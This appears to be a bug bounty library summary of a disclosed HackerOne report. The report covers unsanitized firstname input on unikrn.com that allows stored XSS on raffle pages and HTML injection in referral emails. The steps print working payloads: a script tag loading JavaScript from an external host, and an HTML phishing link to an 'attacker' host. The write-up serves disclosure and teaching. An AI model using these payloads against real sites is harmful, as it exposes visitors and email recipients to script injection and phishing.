# HTML injection in email in unikrn.com

Unsanitized firstname field flows into the vartrans directive and referral emails, enabling stored XSS on raffle winner pages and HTML injection in emails.

- Payout: hidden
- Severity: high
- Program: Unikrn
- Found by: codebrained
- Disclosed: 2017-08-23
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/262004
- Library page: https://bugbountylibrary.com/r/h1%3A262004
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:high technique:source-review vuln:info-disclosure vuln:xss

**Target:** unikrn.com user verify API, raffle winner sidebar, referral email
**Root cause:** The firstname field posted to /apiv2/user/verify is not sanitized; it becomes the callsign and is rendered via the vartrans directive (which permits raw HTML) in the raffle winner sidebar, and is embedded unsanitized into referral emails.
**Steps:**
1. POST to `https://unikrn.com/apiv2/user/verify` with `{"country":"GB","firstname":"<script src=\"https://external2.com/xss.js\" />", "session_id":"SESSION_ID"}`
2. Win a raffle so the callsign is displayed in the raffle winner sidebar
3. Visit the raffles page as a winner; the vartrans directive renders the script tag and loads the external script
4. For email injection: set firstname to `<a href="https://attacker/phish.php"><img src="https://attacker/content.jpg"></a><script>` and send a referral email from the profile page
**How found:** Noticed the firstname field lacked sanitization on the verify endpoint, then traced how the derived callsign is rendered: safely via ng-bind elsewhere but unsanitized through the vartrans directive in the raffle winner sidebar, and into referral email templates.
**Exploitation:** Attacker sets a malicious firstname via the verify API; when they win a raffle, any visitor to the raffle page loads attacker-controlled JS (stored XSS). Separately, referral emails embed the firstname, so the injected HTML renders a phishing link/image and the trailing script tag truncates the remaining email content.
**Insight:** When a value is safely bound in most views, hunt for the one view using a raw-HTML directive (like vartrans) or a server-side email template that bypasses the same escaping; trace the field from input endpoint to every render sink.